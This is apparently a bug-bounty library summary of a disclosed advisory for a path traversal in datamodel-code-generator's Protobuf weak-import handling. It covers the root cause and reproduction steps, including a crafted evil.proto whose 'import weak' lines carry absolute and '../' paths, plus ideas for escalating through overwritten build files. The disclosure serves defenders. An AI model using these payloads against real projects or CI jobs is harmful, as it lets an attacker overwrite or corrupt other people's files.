# datamodel-code-generator: Protobuf weak-import path traversal allows files to be written outside the temporary directory

Protobuf weak-import paths in datamodel-code-generator were joined to the temp dir without containment checks, letting a malicious .proto create or overwrite files outside it.

- Payout: Research
- Severity: high
- Program: datamodel-code-generator
- Found by: alex131125
- Disclosed: 2026-10-08
- CVE: CVE-2026-107377
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-77xj-x4rm-935c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-77xj-x4rm-935c
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:chained technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** Protobuf input preparer (_write_missing_weak_imports) in the CLI/Python API
**Root cause:** The `import weak "..."` capture is joined to the weak-import temp dir with pathlib `/` and no resolve/is_relative_to check, so absolute paths replace the base and `..` escapes it. The existence guard checks a different base (include_paths) than the write, so relative traversal overwrites existing files.
**Steps:**
1. Install vulnerable version: `pip install datamodel-code-generator==0.80.0` (needs grpcio-tools).
2. Craft `evil.proto` with `import weak "/home/victim/.config/x";` and/or `import weak "../../overwrite_me.txt";`.
3. Run `datamodel-code-generator --input-file-type protobuf --input evil.proto` (or `--url http://attacker/evil.proto`).
4. Observe stub written to attacker-chosen absolute path with mkdir(parents=True), and pre-existing victim.txt overwritten via `../`.
5. protoc then fails on the malformed virtual path, but files remain on disk.
**How found:** Source review of the Protobuf parser after sibling read-path traversal advisories (CVE-2026-55389/55390) fixed the JSON-Schema and XSD entry points; the same unvalidated-path pattern was spotted in WEAK_IMPORT_PATTERN and its write sink, then confirmed with a PoC on released 0.80.0.
**Exploitation:** Attacker supplies a malicious .proto (third-party schema or --url) to a victim/CI job; before protoc runs, the preparer writes `syntax = "proto2";`/`proto3` stubs to arbitrary writable paths, creating directory trees and overwriting existing files (relative case). Content is fixed, so impact is integrity/DoS, not RCE.
**Escalation:** Overwriting build-critical files (lock files, __init__.py, entry points) or dropping files into auto-loaded/watched locations to corrupt projects or break builds.
**Insight:** When a project patches a path-traversal class in one parser, enumerate every other schema/format entry point that turns attacker strings into filesystem paths — and check that existence guards use the same base directory as the actual write, since mismatched bases silently allow overwrite.